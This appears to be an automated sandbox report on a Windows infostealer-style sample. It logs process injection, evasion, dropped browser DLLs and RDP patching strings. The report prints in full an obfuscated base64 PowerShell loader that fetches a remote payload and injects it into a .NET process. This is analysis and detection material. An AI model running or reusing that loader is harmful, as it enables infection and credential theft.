Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: AddInProcess32.exe	Binary or memory string: PROCESSHACKER.EXE
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: 0.RUDP\ICACLS.EXE\XCOPY.EXE "" /GRANT:R *S-1-1-0:(OI)(CI)F /T\APPDATA\LOCAL\GOOGLE\APPDATA\LOCAL\GOOGLE\XCOPY.EXE /Y /E /C \APPDATA\ROAMING\MOZILLA\APPDATA\ROAMING\MOZILLA\\APPDATA\ROAMING\MICROSOFT\APPDATA\ROAMING\MICROSOFT\\APPDATA\LOCAL\PACKAGES\MICROSOFT.MICROSOFTEDGE_8WEKYB3D8BBWE\APPDATA\LOCAL\PACKAGES\MICROSOFT.MICROSOFTEDGE_8WEKYB3D8BBWE\TERMSERVICE%PROGRAMFILES%%WINDIR%\SYSTEM32%PROGRAMW6432%\MICROSOFT DN1\RFXVMT.DLL\RDPWRAP.INI\SQLMAP.DLLRPDPSOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\SPECIALACCOUNTS\USERLISTSEDEBUGPRIVILEGESYSTEM\CURRENTCONTROLSET\SERVICES\TERMSERVICE\PARAMETERSSERVICEDLLSYSTEM\CURRENTCONTROLSET\SERVICES\TERMSERVICEIMAGEPATHSVCHOST.EXESVCHOST.EXE -KCERTPROPSVCSESSIONENVSERVICESACTIVESYSTEM\CURRENTCONTROLSET\CONTROL\TERMINAL SERVERSYSTEM\CURRENTCONTROLSET\CONTROL\TERMINAL SERVER\LICENSING CORESOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGONSYSTEM\CURRENTCONTROLSET\CONTROL\TERMINAL SERVER\ADDINSSYSTEM\CURRENTCONTROLSET\CONTROLTERMINAL SERVER\ADDINS\CLIP REDIRECTORSYSTEM\CURRENTCONTROLSET\CONTROL\TERMINAL SERVER\ADDINS\DYNAMIC VCFDENYTSCONNECTIONSENABLECONCURRENTSESSIONSALLOWMULTIPLETSSESSIONSRDPCLIPNAMETYPEMULTIRDP[EXPERIMENTAL] PATCH TERMINAL SERVER SERVICE TO ALLOW MULTIPLES USERSTERMSRV.DLLEXPLORER.EXETASKMGR.EXEPROCESSHACKER.EXEREGEDIT.EXENTDLL.DLLLDRGETPROCEDUREADDRESSRTLNTSTATUSTODOSERRORRTLSETLASTWIN32ERRORNTALLOCATEVIRTUALMEMORYNTPROTECTVIRTUALMEMORYNTWRITEVIRTUALMEMORYLDRLOADDLLRTLCREATEUSERTHREAD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FF7BFEE9F19 sldt word ptr fs:[eax]

4_2_00007FF7BFEE9F19

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: OpenSCManagerW,EnumServicesStatusExW,EnumServicesStatusExW,GetLastError,CloseServiceHandle,OpenSCManagerW,lstrcmpW,

5_2_0040D8FB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1515	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1656	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4554	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5237	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mozglue.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-67550

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

API coverage: 7.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5904	Thread sleep count: 4554 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5992	Thread sleep count: 5237 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2356	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5872	Thread sleep count: 70 > 30	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00411446 FindFirstFileW,FindNextFileW,	5_2_00411446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA,	5_2_0040955B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCCEF35 PR_SetError,_mbsinc,FindFirstFileA,GetLastError,	5_2_6CCCEF35

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0041154A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW,

5_2_0041154A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_6CCCC9B4 GetSystemInfo,

5_2_6CCCC9B4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000004.00000002.1442971665.000001B2BAEC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AddInProcess32.exe, 00000005.00000002.2627316202.00000000014E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

API call chain: ExitProcess graph end node

graph_5-67702

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Bypasses PowerShell execution policy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_004060B0 LoadLibraryA,GetProcAddress,ExitProcess,

5_2_004060B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00426222 mov eax, dword ptr fs:[00000030h]	5_2_00426222
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0041EB27 mov eax, dword ptr fs:[00000030h]	5_2_0041EB27
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00411B38 mov eax, dword ptr fs:[00000030h]	5_2_00411B38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00411B3F mov eax, dword ptr fs:[00000030h]	5_2_00411B3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00411E6D mov eax, dword ptr fs:[00000030h]	5_2_00411E6D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00406045 GetProcessHeap,RtlAllocateHeap,

5_2_00406045

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_6CD4E2D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

5_2_6CD4E2D8

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Contains functionality to inject threads in other processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00407B2E OpenProcess,GetCurrentProcess,MessageBoxA,VirtualAllocEx,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,	5_2_00407B2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00407D5E OpenProcess,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,	5_2_00407D5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00413F7F RegSetValueExA,OpenProcess,GetCurrentProcessId,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,	5_2_00413F7F

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 417000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 41C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 55B000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 55D000	Jump to behavior
